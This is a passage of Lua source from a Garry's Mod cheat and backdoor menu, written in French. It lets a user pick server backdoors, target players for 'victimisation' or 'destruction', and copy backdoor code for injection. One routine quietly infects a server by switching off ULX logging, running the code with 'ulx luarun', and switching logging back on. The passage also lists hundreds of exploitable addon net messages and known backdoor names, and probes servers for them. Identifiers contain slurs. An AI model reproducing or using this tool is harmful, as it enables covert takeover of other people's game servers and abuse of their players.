2554
2555surface.SetDrawColor( Color(0, 0, 0, 200) )
2556
2557surface.DrawRect( 10, 25, w - 20, h - 35 )
2558
2559surface.DrawRect( 15, 30, w - 30, 35 )
2560
2561draw.SimpleText("Victimisation Sur Tous", "DermaDefault", 80, 160, Color(255, 255, 255), 0, 1)
2562
2563draw.SimpleText("Victimisation Sur Un Joueur", "DermaDefault", 280, 160, Color(255, 255, 255), 0, 1)
2564
2565draw.SimpleText("Destruction", "DermaDefault", 520, 160, Color(255, 255, 255), 0, 1)
2566
2567draw.SimpleText("Joueurs A Victime", "DermaDefault", 660, 140, Color(255, 255, 255), 0, 1)
2568
2569draw.SimpleText("Paramètres Commandes", "DermaDefault", 485, 520, Color(255, 255, 255), 0, 1)
2570
2571end
2572
2573HTMLGUI = vgui.Create( "HTML", BDMenu )
2574HTMLGUI:SetSize( 400,50 )
2575HTMLGUI:SetPos( 330,80 )
2576HTMLGUI:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
2577
2578surface.CreateFont("close",{font = "Marlett", size = 15, weight = 0, antialias = 0})
2579local CLOSEBOUTON = vgui.Create( "DButton", BDMenu)
2580CLOSEBOUTON:SetPos( 795, 0)
2581CLOSEBOUTON:SetSize( 30, 25 )
2582CLOSEBOUTON:SetText( "X" )
2583CLOSEBOUTON:SetFont( "close" )
2584CLOSEBOUTON.Paint = function( self, w, h )
2585draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 0))
2586if CLOSEBOUTON:IsHovered() then
2587CLOSEBOUTON:SetTextColor( Color( 255, 255, 255, 255 ) )
2588draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 0))
2589else
2590draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
2591CLOSEBOUTON:SetTextColor( Color( 255, 255, 255 ) )
2592end
2593CLOSEBOUTON.DoClick = function()
2594surface.PlaySound( "UI/buttonclick.wav" )
2595BDMenu:Remove()
2596end
2597end
2598
2599
2600local it = 28
2601
2602
2603
2604local wedungoofd = vgui.Create( "DLabel", BDMenu )
2605
2606wedungoofd:SetPos( 25, 38 )
2607
2608wedungoofd:SetFont( "Trebuchet18" )
2609
2610wedungoofd:SetColor( Color( 120, 50, 50 ) )
2611
2612wedungoofd:SetText( "" )
2613
2614wedungoofd:SizeToContents()
2615
2616
2617
2618for bd, t in pairs( BD.BackdoorTypes ) do
2619
2620 local faggot = vgui.Create("DButton", BDMenu)
2621
2622 faggot:SetSize( 150, 25 )
2623
2624 faggot:SetPos( it, 35 )
2625
2626 faggot:SetText( bd )
2627
2628 faggot:SetTextColor(Color(255, 255, 255, 255))
2629
2630 faggot.Paint = function(panel, w, h)
2631
2632 if BD.Backdoors[bd] then
2633
2634 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2635
2636 surface.DrawOutlinedRect(0, 0, w, h)
2637
2638 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2639
2640 surface.DrawRect(0, 0, w, h)
2641
2642 else
2643
2644 surface.SetDrawColor(50, 50, 50 ,155)
2645
2646 surface.DrawRect(0, 0, w, h)
2647
2648 end
2649
2650 end
2651
2652 faggot.DoClick = function()
2653
2654 BD.ChatText( "La Backdoor est désormais : "..bd, Color(155,155,255) )
2655
2656 BD.CurrentBackdoor = bd
2657
2658 surface.PlaySound("buttons/button18.wav")
2659
2660 end
2661
2662 it = it + 155
2663
2664end
2665
2666
2667
2668local Plist = vgui.Create( "DPanelList", BDMenu )
2669
2670Plist:SetPos( 40, 175 )
2671
2672Plist:SetSize( 200, 300 )
2673
2674Plist:SetPadding( 10 )
2675
2676Plist:SetSpacing( 8 )
2677
2678Plist:EnableHorizontal( false )
2679
2680Plist:EnableVerticalScrollbar( true )
2681
2682Plist:SetName( "" )
2683
2684Plist.Paint = function( self, w, h )
2685
2686 surface.SetDrawColor(0, 0, 0 ,200)
2687
2688 surface.DrawOutlinedRect(0, 0, w, h)
2689 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2690 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2691
2692 surface.SetDrawColor(0, 0, 0 ,220)
2693
2694 surface.DrawRect(0, 0, w, h)
2695
2696end
2697
2698
2699
2700local Plist2 = vgui.Create( "DPanelList", BDMenu )
2701
2702Plist2:SetPos( 250, 175 )
2703
2704Plist2:SetSize( 200, 300 )
2705
2706Plist2:SetPadding( 5 )
2707
2708Plist2:SetSpacing( 5 )
2709
2710Plist2:EnableHorizontal( false )
2711
2712Plist2:EnableVerticalScrollbar( true )
2713
2714Plist2:SetName( "" )
2715
2716Plist2.Paint = function( self, w, h )
2717
2718 surface.SetDrawColor(0, 0, 0 ,200)
2719
2720 surface.DrawOutlinedRect(0, 0, w, h)
2721 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2722 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2723
2724 surface.SetDrawColor(0, 0, 0 ,220)
2725
2726 surface.DrawRect(0, 0, w, h)
2727
2728end
2729
2730
2731
2732local Plist3 = vgui.Create( "DPanelList", BDMenu )
2733
2734Plist3:SetPos( 470, 175 )
2735
2736Plist3:SetSize( 150, 300 )
2737
2738Plist3:SetPadding( 5 )
2739
2740Plist3:SetSpacing( 5 )
2741
2742Plist3:EnableHorizontal( false )
2743
2744Plist3:EnableVerticalScrollbar( true )
2745
2746Plist3:SetName( "" )
2747
2748Plist3.Paint = function( self, w, h )
2749
2750 surface.SetDrawColor(0, 0, 0 ,200)
2751
2752 surface.DrawOutlinedRect(0, 0, w, h)
2753 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2754 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2755
2756 surface.SetDrawColor(0, 0, 0 ,220)
2757
2758 surface.DrawRect(0, 0, w, h)
2759
2760end
2761
2762
2763
2764local Plist4 = vgui.Create( "DPanelList", BDMenu )
2765
2766Plist4:SetPos( 630, 175 )
2767
2768Plist4:SetSize( 150, 300 )
2769
2770Plist4:SetPadding( 5 )
2771
2772Plist4:SetSpacing( 5 )
2773
2774Plist4:EnableHorizontal( false )
2775
2776Plist4:EnableVerticalScrollbar( true )
2777
2778Plist4:SetName( "" )
2779
2780Plist4.Paint = function( self, w, h )
2781
2782 surface.SetDrawColor(0, 0, 0 ,200)
2783
2784 surface.DrawOutlinedRect(0, 0, w, h)
2785 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2786 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2787
2788 surface.SetDrawColor(0, 0, 0 ,220)
2789
2790 surface.DrawRect(0, 0, w, h)
2791
2792end
2793
2794
2795
2796 local faggot = vgui.Create("DButton", BDMenu)
2797
2798 faggot:SetSize( 150, 35 )
2799
2800 faggot:SetPos( 630, 480 )
2801
2802 faggot:SetText("Activer Backdoor!")
2803
2804 faggot:SetTextColor(Color(255, 255, 255, 255))
2805
2806 faggot.Paint = function(panel, w, h)
2807
2808 surface.SetDrawColor(255, 100, 00 ,255)
2809
2810 surface.DrawOutlinedRect(0, 0, w, h)
2811
2812 surface.SetDrawColor(50, 0, 0 ,155)
2813
2814 surface.DrawRect(0, 0, w, h)
2815
2816 end
2817
2818 faggot.DoClick = function()
2819
2820 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné de backdoor, IDIOT !", Color(255,155,155) ) return end
2821
2822 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2823
2824 surface.PlaySound("buttons/button18.wav")
2825
2826 end
2827
2828
2829
2830
2831
2832 local helpimretarded = vgui.Create("DButton", BDMenu)
2833
2834 helpimretarded:SetSize( 200, 35 )
2835
2836 helpimretarded:SetPos( 40, 480 )
2837
2838 helpimretarded:SetText("Copier Le Code De La Backdoor")
2839
2840 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2841
2842 helpimretarded.Paint = function(panel, w, h)
2843
2844 surface.SetDrawColor(255, 100, 00 ,255)
2845
2846 surface.DrawOutlinedRect(0, 0, w, h)
2847
2848 surface.SetDrawColor(50, 0, 0 ,155)
2849
2850 surface.DrawRect(0, 0, w, h)
2851
2852 end
2853
2854 helpimretarded.DoClick = function()
2855
2856 BD.ChatText( "Code copié, tu peut l'injecter via la console mtn :D", Color(155,255,155) )
2857
2858 local bdstring = BD.GetActive().Code
2859
2860 SetClipboardText( bdstring )
2861
2862 end
2863
2864
2865
2866 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2867
2868 helpimretarded2:SetSize( 200, 35 )
2869
2870 helpimretarded2:SetPos( 250, 480 )
2871
2872 helpimretarded2:SetText("LuaRun La Backdoor")
2873
2874 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
2875
2876 helpimretarded2.Paint = function(panel, w, h)
2877
2878 surface.SetDrawColor(255, 100, 00 ,255)
2879
2880 surface.DrawOutlinedRect(0, 0, w, h)
2881
2882 surface.SetDrawColor(50, 0, 0 ,155)
2883
2884 surface.DrawRect(0, 0, w, h)
2885
2886 end
2887
2888 helpimretarded2.DoClick = function()
2889
2890 BD.ChatText( "Infection du serveur discrètement...", Color(155,255,155) )
2891
2892 LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
2893
2894 timer.Simple( 0.5, function()
2895
2896 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
2897
2898 end )
2899
2900 timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 1]] ) end )
2901
2902
2903
2904 timer.Simple( 1.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "Infecté Avec Succès !", Color(155,255,155) ) else BD.ChatText( "Infection ULX Raté!", Color(255,155,155) ) end end )
2905
2906 end
2907
2908
2909
2910
2911
2912local moonman = vgui.Create( "DTextEntry", BDMenu )
2913
2914moonman:SetPos( 470, 480 )
2915
2916moonman:SetSize( 150, 33 )
2917
2918moonman:SetText( backdoorargs )
2919
2920moonman.OnChange = function( self )
2921
2922 backdoorargs = self:GetValue()
2923
2924-- surface.PlaySound("buttons/button3.wav")
2925
2926end
2927
2928
2929
2930
2931
2932 local target1 = vgui.Create("DButton", BDMenu)
2933
2934 target1:SetSize( 40, 20 )
2935
2936 target1:SetPos( 630, 150 )
2937
2938 target1:SetText("Tous")
2939
2940 target1:SetTextColor(Color(255, 255, 255, 255))
2941
2942 target1.Paint = function(panel, w, h)
2943
2944 surface.SetDrawColor(255, 100, 00 ,255)
2945
2946 surface.DrawOutlinedRect(0, 0, w, h)
2947
2948 surface.SetDrawColor(50, 0, 0 ,155)
2949
2950 surface.DrawRect(0, 0, w, h)
2951
2952 end
2953
2954 target1.DoClick = function()
2955
2956 for _, p in pairs(player.GetAll()) do
2957
2958 if not table.HasValue( selectedplayers, p ) then
2959
2960 table.insert( selectedplayers, p )
2961
2962 end
2963
2964 end
2965
2966 end
2967
2968
2969
2970 local target2 = vgui.Create("DButton", BDMenu)
2971
2972 target2:SetSize( 40, 20 )
2973
2974 target2:SetPos( 685, 150 )
2975
2976 target2:SetText("Aucun")
2977
2978 target2:SetTextColor(Color(255, 255, 255, 255))
2979
2980 target2.Paint = function(panel, w, h)
2981
2982 surface.SetDrawColor(255, 100, 00 ,255)
2983
2984 surface.DrawOutlinedRect(0, 0, w, h)
2985
2986 surface.SetDrawColor(50, 0, 0 ,155)
2987
2988 surface.DrawRect(0, 0, w, h)
2989
2990 end
2991
2992 target2.DoClick = function()
2993
2994 table.Empty( selectedplayers )
2995
2996 end
2997
2998
2999
3000 local target2 = vgui.Create("DButton", BDMenu)
3001
3002 target2:SetSize( 40, 20 )
3003
3004 target2:SetPos( 740, 150 )
3005
3006 target2:SetText("Moi")
3007
3008 target2:SetTextColor(Color(255, 255, 255, 255))
3009
3010 target2.Paint = function(panel, w, h)
3011
3012 surface.SetDrawColor(255, 100, 00 ,255)
3013
3014 surface.DrawOutlinedRect(0, 0, w, h)
3015
3016 surface.SetDrawColor(50, 0, 0 ,155)
3017
3018 surface.DrawRect(0, 0, w, h)
3019
3020 end
3021
3022 target2.DoClick = function()
3023
3024 table.Empty( selectedplayers )
3025
3026 table.insert( selectedplayers, LocalPlayer() )
3027
3028 end
3029
3030
3031
3032
3033
3034
3035
3036/*================================
3037|===== LISTES DES JOUEURS =====|
3038=================================*/
3039
3040
3041
3042for k, v in pairs( player.GetAll() ) do
3043
3044
3045
3046 local plypanel2 = vgui.Create( "DPanel" )
3047
3048 plypanel2:SetPos( 0, 0 )
3049
3050 plypanel2:SetSize( 200, 25 )
3051
3052 plypanel2.Paint = function() -- Paint function
3053
3054 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3055
3056 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(255, 255, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
3057
3058 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3059
3060 end
3061
3062
3063
3064 local plyname = vgui.Create( "DLabel", plypanel2 )
3065
3066 plyname:SetPos( 10, 5 )
3067
3068 plyname:SetFont( "Trebuchet18" )
3069
3070 local tcol = Color( 255, 255, 255 )
3071
3072 if v == LocalPlayer() then tcol = Color( 255, 155, 155 ) end
3073
3074 plyname:SetColor( tcol )
3075
3076 plyname:SetText( v:Nick() )
3077
3078 plyname:SetSize(180, 15)
3079
3080
3081
3082
3083
3084 local faggot = vgui.Create("DButton", plypanel2)
3085
3086 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3087
3088 faggot:SetPos( 0, 0 )
3089
3090 faggot:SetText("")
3091
3092 faggot.Paint = function(panel, w, h)
3093
3094 return
3095
3096 end
3097
3098 faggot.DoClick = function()
3099
3100 if table.HasValue( selectedplayers, v ) then
3101
3102 table.RemoveByValue( selectedplayers, v )
3103
3104 else
3105
3106 table.insert( selectedplayers, v )
3107
3108 end
3109
3110 end
3111
3112
3113
3114
3115
3116 Plist4:AddItem( plypanel2 )
3117
3118
3119
3120end
3121
3122
3123
3124
3125
3126BD.GenerateBackdoorList( Plist, 1 )
3127
3128BD.GenerateBackdoorList( Plist2, 2 )
3129
3130BD.GenerateBackdoorList( Plist3, 3 )
3131
3132
3133
3134end
3135
3136concommand.Add("88_backdoor", BD.BackdoorMenu)
3137
3138
3139
3140
3141
3142function BD.QuickFireBackdoor()
3143
3144if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a rien selectionné, que faire !", Color(255,155,155) ) return end
3145
3146if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3147
3148end
3149
3150concommand.Add("runbd", BD.QuickFireBackdoor)
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161/*=================================
3162|====== CONCOMMAND ON START ======|
3163=================================*/
3164RunConsoleCommand "stopsound"
3165
3166
3167
3168
3169
3170
3171
3172
3173/*==========================
3174|==== Los Famosos Local ====|
3175==========================*/
3176
3177local givemeid = LocalPlayer():SteamID()
3178local ply = LocalPlayer()
3179local asphyxnet = "";
3180local n = net
3181local nr = n.Receive
3182local s = n.ReadString
3183local NBRBackdoor = 0
3184local selectedplayers = {}
3185local selectedbackdoor = ""
3186
3187
3188
3189
3190
3191
3192/*=============================
3193|==== Check SNTE Netstring ===|
3194=============================*/
3195
3196local rdmNetNum = 30 -- having more usable exploitable addons means it's 100% darkrp gamemode lol
3197
3198// global list of exploits that circulates
3199local legit_nets = {
3200 "pplay_deleterow",
3201 "pplay_addrow",
3202 "pplay_sendtable",
3203 "WriteQuery",
3204 "VJSay",
3205 "SendMoney",
3206 "BailOut",
3207 "customprinter_get",
3208 "textstickers_entdata",
3209 "NC_GetNameChange",
3210 "ATS_WARP_REMOVE_CLIENT",
3211 "ATS_WARP_FROM_CLIENT",
3212 "ATS_WARP_VIEWOWNER",
3213 "CFRemoveGame",
3214 "CFJoinGame",
3215 "CFEndGame",
3216 "CreateCase",
3217 "rprotect_terminal_settings",
3218 "StackGhost",
3219 "RevivePlayer",
3220 "ARMORY_RetrieveWeapon",
3221 "TransferReport",
3222 "SimplicityAC_aysent",
3223 "pac_to_contraption",
3224 "SyncPrinterButtons76561198056171650",
3225 "sendtable",
3226 "steamid2",
3227 "Kun_SellDrug",
3228 "net_PSUnBoxServer",
3229 "pplay_deleterow",
3230 "pplay_addrow",
3231 "CraftSomething",
3232 "banleaver",
3233 "75_plus_win",
3234 "ATMDepositMoney",
3235 "Taxi_Add",
3236 "Kun_SellOil",
3237 "SellMinerals",
3238 "TakeBetMoney",
3239 "PoliceJoin",
3240 "CpForm_Answers",
3241 "DepositMoney",
3242 "MDE_RemoveStuff_C2S",
3243 "NET_SS_DoBuyTakeoff",
3244 "NET_EcSetTax",
3245 "RP_Accept_Fine",
3246 "RP_Fine_Player",
3247 "RXCAR_Shop_Store_C2S",
3248 "RXCAR_SellINVCar_C2S",
3249 "drugseffect_remove",
3250 "drugs_money",
3251 "CRAFTINGMOD_SHOP",
3252 "drugs_ignite",
3253 "drugseffect_hpremove",
3254 "DarkRP_Kun_ForceSpawn",
3255 "drugs_text",
3256 "NLRKick",
3257 "RecKickAFKer",
3258 "GMBG:PickupItem",
3259 "DL_Answering",
3260 "plyWarning",
3261 "NLR.ActionPlayer",
3262 "timebombDefuse",
3263 "start_wd_emp",
3264 "kart_sell",
3265 "FarmingmodSellItems",
3266 "ClickerAddToPoints",
3267 "bodyman_model_change",
3268 "TOW_PayTheFine",
3269 "FIRE_CreateFireTruck",
3270 "hitcomplete",
3271 "hhh_request",
3272 "DaHit",
3273 "TCBBuyAmmo",
3274 "DataSend",
3275 "gBan.BanBuffer",
3276 "fp_as_doorHandler",
3277 "Upgrade",
3278 "TowTruck_CreateTowTruck",
3279 "TOW_SubmitWarning",
3280 "duelrequestguiYes",
3281 "JoinOrg",
3282 "pac_submit",
3283 "NDES_SelectedEmblem",
3284 "join_disconnect",
3285 "Morpheus.StaffTracker",
3286 "casinokit_chipexchange",
3287 "BuyKey",
3288 "BuyCrate",
3289 "FactionInviteConsole",
3290 "FacCreate",
3291 "1942_Fuhrer_SubmitCandidacy",
3292 "pogcp_report_submitReport",
3293 "textscreens_download",
3294 "hsend",
3295 "BuilderXToggleKill",
3296 "Chatbox_PlayerChat",
3297 "reports.submit",
3298 "services_accept",
3299 "Warn_CreateWarn",
3300 "NewReport",
3301 "soez",
3302 "GiveHealthNPC",
3303 "DarkRP_SS_Gamble",
3304 "buyinghealth",
3305 "DarkRP_preferredjobmodel",
3306 "DarkRP_spawnPocket",
3307 "whk_setart",
3308 "WithdrewBMoney",
3309 "DuelMessageReturn",
3310 "ban_rdm",
3311 "BuyCar",
3312 "ats_send_toServer",
3313 "dLogsGetCommand",
3314 "disguise",
3315 "gportal_rpname_change",
3316 "AbilityUse",
3317 "ClickerAddToPoints",
3318 "race_accept",
3319 "give_me_weapon",
3320 "FinishContract",
3321 "NLR_SPAWN",
3322 "Kun_ZiptieStruggle",
3323 "JB_Votekick",
3324 "Letthisdudeout",
3325 "ckit_roul_bet",
3326 "pac.net.TouchFlexes.ClientNotify",
3327 "ply_pick_shit",
3328 "TFA_Attachment_RequestAll",
3329 "BuyFirstTovar",
3330 "BuySecondTovar",
3331 "GiveHealthNPC",
3332 "MONEY_SYSTEM_GetWeapons",
3333 "MCon_Demote_ToServer",
3334 "withdrawp",
3335 "PCAdd",
3336 "ActivatePC",
3337 "PCDelAll",
3338 "viv_hl2rp_disp_message",
3339 "ATM_DepositMoney_C2S",
3340 "BM2.Command.SellBitcoins",
3341 "BM2.Command.Eject",
3342 "tickbooksendfine",
3343 "egg",
3344 "RHC_jail_player",
3345 "PlayerUseItem",
3346 "Chess Top10",
3347 "ItemStoreUse",
3348 "EZS_PlayerTag",
3349 "simfphys_gasspill",
3350 "sphys_dupe",
3351 "sw_gokart",
3352 "wordenns",
3353 "SyncPrinterButtons16690",
3354 "AttemptSellCar",
3355 "DarkRP_spawnPocket",
3356 "uPLYWarning",
3357 "atlaschat.rqclrcfg",
3358 "dlib.getinfo.replicate",
3359 "SetPermaKnife",
3360 "EnterpriseWithdraw",
3361 "SBP_addtime",
3362 "NetData",
3363 "CW20_PRESET_LOAD",
3364 "minigun_drones_switch",
3365 "NET_AM_MakePotion",
3366 "bitcoins_request_turn_off",
3367 "bitcoins_request_turn_on",
3368 "bitcoins_request_withdraw",
3369 "PermwepsNPCSellWeapon",
3370 "ncpstoredoact",
3371 "DuelRequestClient",
3372 "BeginSpin",
3373 "tickbookpayfine",
3374 "fg_printer_money",
3375 "IGS.GetPaymentURL",
3376 "pp_info_send",
3377 "AirDrops_StartPlacement",
3378 "SlotsRemoved",
3379 "FARMINGMOD_DROPITEM",
3380 "cab_sendmessage",
3381 "cab_cd_testdrive",
3382 "blueatm",
3383 "SCP-294Sv",
3384 "dronesrewrite_controldr",
3385 "desktopPrinter_Withdraw",
3386 "RemoveTag",
3387 "IDInv_RequestBank",
3388 "UseMedkit",
3389 "WipeMask",
3390 "SwapFilter",
3391 "RemoveMask",
3392 "DeployMask",
3393 "ZED_SpawnCar",
3394 "levelup_useperk",
3395 "passmayorexam",
3396 "Selldatride",
3397 "ORG_VaultDonate",
3398 "ORG_NewOrg",
3399 "ScannerMenu",
3400 "misswd_accept",
3401 "D3A_Message",
3402 "LawsToServer",
3403 "Shop_buy",
3404 "D3A_CreateOrg",
3405 "Gb_gasstation_BuyGas",
3406 "Gb_gasstation_BuyJerrycan",
3407 "MineServer",
3408 "AcceptBailOffer",
3409 "LawyerOfferBail",
3410 "buy_bundle",
3411 "AskPickupItemInv",
3412 "donatorshop_itemtobuy",
3413 "netOrgVoteInvite_Server",
3414 "Chess ClientWager",
3415 "AcceptRequest",
3416 "deposit",
3417 "CubeRiot CaptureZone Update",
3418 "NPCShop_BuyItem",
3419 "SpawnProtection",
3420 "hoverboardpurchase",
3421 "soundArrestCommit",
3422 "LotteryMenu",
3423 "updateLaws",
3424 "TMC_NET_FirePlayer",
3425 "thiefnpc",
3426 "TMC_NET_MakePlayerWanted",
3427 "SyncRemoveAction",
3428 "HV_AmmoBuy",
3429 "NET_CR_TakeStoredMoney",
3430 "nox_addpremadepunishment",
3431 "GrabMoney",
3432 "LAWYER.GetBailOut",
3433 "LAWYER.BailFelonOut",
3434 "br_send_pm",
3435 "GET_Admin_MSGS",
3436 "OPEN_ADMIN_CHAT",
3437 "LB_AddBan",
3438 "redirectMsg",
3439 "RDMReason_Explain",
3440 "JB_SelectWarden",
3441 "JB_GiveCubics",
3442 "SendSteamID",
3443 "wyozimc_playply",
3444 "SpecDM_SendLoadout",
3445 "sv_saveweapons",
3446 "DL_StartReport",
3447 "DL_ReportPlayer",
3448 "DL_AskLogsList",
3449 "DailyLoginClaim",
3450 "GiveWeapon",
3451 "GovStation_SpawnVehicle",
3452 "inviteToOrganization",
3453 "createFaction",
3454 "sellitem",
3455 "giveArrestReason",
3456 "unarrestPerson",
3457 "JoinFirstSS",
3458 "bringNfreeze",
3459 "start_wd_hack",
3460 "DestroyTable",
3461 "nCTieUpStart",
3462 "IveBeenRDMed",
3463 "FIGHTCLUB_StartFight",
3464 "FIGHTCLUB_KickPlayer",
3465 "ReSpawn",
3466 "CP_Test_Results",
3467 "AcceptBailOffer",
3468 "IS_SubmitSID_C2S",
3469 "IS_GetReward_C2S",
3470 "ChangeOrgName",
3471 "DisbandOrganization",
3472 "CreateOrganization",
3473 "newTerritory",
3474 "InviteMember",
3475 "sendDuelInfo",
3476 "DoDealerDeliver",
3477 "PurchaseWeed",
3478 "guncraft_removeWorkbench",
3479 "wordenns",
3480 "userAcceptPrestige",
3481 "DuelMessageReturn",
3482 "Client_To_Server_OpenEditor",
3483 "GiveSCP294Cup",
3484 "GiveArmor100",
3485 "SprintSpeedset",
3486 "ArmorButton",
3487 "HealButton",
3488 "SRequest",
3489 "ClickerForceSave",
3490 "rpi_trade_end",
3491 "NET_BailPlayer",
3492 "vj_testentity_runtextsd",
3493 "requestmoneyforvk",
3494 "gPrinters.sendID",
3495 "FIRE_RemoveFireTruck",
3496 "drugs_effect",
3497 "drugs_give",
3498 "NET_DoPrinterAction",
3499 "opr_withdraw",
3500 "money_clicker_withdraw",
3501 "NGII_TakeMoney",
3502 "gPrinters.retrieveMoney",
3503 "revival_revive_accept",
3504 "chname",
3505 "NewRPNameSQL",
3506 "UpdateRPUModelSQL",
3507 "SetTableTarget",
3508 "SquadGiveWeapon",
3509 "BuyUpgradesStuff",
3510 "REPAdminChangeLVL",
3511 "SendMail",
3512 "DemotePlayer",
3513 "OpenGates",
3514 "VehicleUnderglow",
3515 "Hopping_Test",
3516 "CREATE_REPORT",
3517 "CreateEntity",
3518 "FiremanLeave",
3519 "DarkRP_Defib_ForceSpawn",
3520 "Resupply",
3521 "BTTTStartVotekick",
3522 "_nonDBVMVote",
3523 "REPPurchase",
3524 "deathrag_takeitem",
3525 "FacCreate",
3526 "InformPlayer",
3527 "lockpick_sound",
3528 "SetPlayerModel",
3529 "changeToPhysgun",
3530 "VoteBanNO",
3531 "VoteKickNO",
3532 "shopguild_buyitem",
3533 "MG2.Request.GangRankings",
3534 "RequestMAPSize",
3535 "gMining.sellMineral",
3536 "ItemStoreDrop",
3537 "optarrest",
3538 "DarkRP_TipJarUpdate",
3539 "TalkIconChat",
3540 "UpdateAdvBoneSettings",
3541 "ViralsScoreboardAdmin"
3542}
3543
3544// battle against a risk of backdoor
3545local bad_nets = {
3546 "Sbox_gm_attackofnullday_key",
3547 "c",
3548 "enablevac",
3549 "ULXQUERY2",
3550 "Im_SOCool",
3551 "MoonMan",
3552 "LickMeOut",
3553 "SessionBackdoor",
3554 "OdiumBackDoor",
3555 "ULX_QUERY2",
3556 "nocheat",
3557 "Sbox_itemstore",
3558 "Sbox_darkrp",
3559 "Sbox_Message",
3560 "_blacksmurf",
3561 "nostrip",
3562 "Remove_Exploiters",
3563 "Sandbox_ArmDupe",
3564 "rconadmin",
3565 "jesuslebg",
3566 "zilnix",
3567 "Þà?D)◘",
3568 "disablebackdoor",
3569 "blacksmurfBackdoor",
3570 "jeveuttonrconleul",
3571 "memeDoor",
3572 "DarkRP_AdminWeapons",
3573 "Fix_Keypads",
3574 "noclipcloakaesp_chat_text",
3575 "_CAC_ReadMemory",
3576 "Ulib_Message",
3577 "Ulogs_Infos",
3578 "ITEM",
3579 "fix",
3580 "nocheat",
3581 "Sandbox_GayParty",
3582 "DarkRP_UTF8",
3583 "OldNetReadData",
3584 "Backdoor",
3585 "cucked",
3586 "NoNerks",
3587 "kek",
3588 "ZimbaBackdoor",
3589 "something",
3590 "random",
3591 "strip0",
3592 "fellosnake",
3593 "idk",
3594 "killserver",
3595 "fuckserver",
3596 "cvaraccess",
3597 "rcon",
3598 "rconadmin",
3599 "web",
3600 "dontforget",
3601 "aze46aez67z67z64dcv4bt",
3602 "nolag",
3603 "changename",
3604 "music",
3605 "_Defqon",
3606 "xenoexistscl",
3607 "R8",
3608 "DefqonBackdoor",
3609 "fourhead",
3610 "echangeinfo",
3611 "PlayerItemPickUp",
3612 "kill",
3613 "Þ� ?D)◘",
3614 "thefrenchenculer",
3615 "elfamosabackdoormdr",
3616 "stoppk",
3617 "noprop",
3618 "reaper",
3619 "Abcdefgh",
3620 "JSQuery.Data(Post(false))",
3621 "pjHabrp9EY",
3622 "_Raze",
3623 "m9k_explosionradius",
3624 "NoOdium_ReadPing",
3625 "m9k_explosionradius",
3626 "gag",
3627 "_cac_",
3628 "_Battleye_Meme_",
3629 "ULogs_B",
3630 "arivia",
3631 "_Warns",
3632 "striphelper",
3633 "m9k_explosive",
3634 "GaySploitBackdoor",
3635 "_GaySploit",
3636 "slua",
3637 "Bilboard.adverts:Spawn(false)",
3638 "BOOST_FPS"
3639
3640}
3641
3642
3643local legit_num = #legit_nets
3644local bad_num = #bad_nets
3645
3646local function ban(_, ply)
3647 ply:Kick("[Auto-Ban] - On c'est fait avoir nous même rt")
3648end
3649
3650timer.Simple(1, function()
3651 for i = legit_num, 1, -1 do
3652 if util.NetworkStringToID(legit_nets[i]) ~= 0 then
3653 MsgC( Color( 0, 0, 0 ), "[88]", Color( 0, 255, 0 )," SNTE A détécté " .. table.remove(legit_nets, i) .. " comme exploit \n" )
3654 legit_num = legit_num - 1
3655 end
3656 end
3657 for i = bad_num, 1, -1 do
3658 if util.NetworkStringToID(bad_nets[i]) ~= 0 then
3659 MsgC( Color( 0, 0, 0 ), "[88]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(bad_nets, i) .. " comme backdoor \n" )
3660 net.Receive(bad_nets[i], ban)
3661 bad_num = bad_num - 1
3662 end
3663 end
3664 local global_nets = legit_nets
3665 table.Add(global_nets, bad_nets)
3666
3667
3668 local global_num = #global_nets
3669 for i = global_num, 1, -1 do
3670 if util.NetworkStringToID(global_nets[i]) ~= 0 then
3671 MsgC( Color( 0, 0, 0 ), "[88]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(global_nets, i) .. " généré \n" )
3672 net.Receive(global_nets[i], print "lol")
3673 global_num = global_num - 1
3674end
3675end
3676end)
3677
3678
3679
3680/*=======================
3681|==== Check Netstring ===|
3682========================*/
3683
3684concommand.Add("asnet", function()
3685local netstrings = {}
3686for i = 1, 9999 do
3687local asnet = util.NetworkIDToString( i )
3688if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
3689end
3690end)
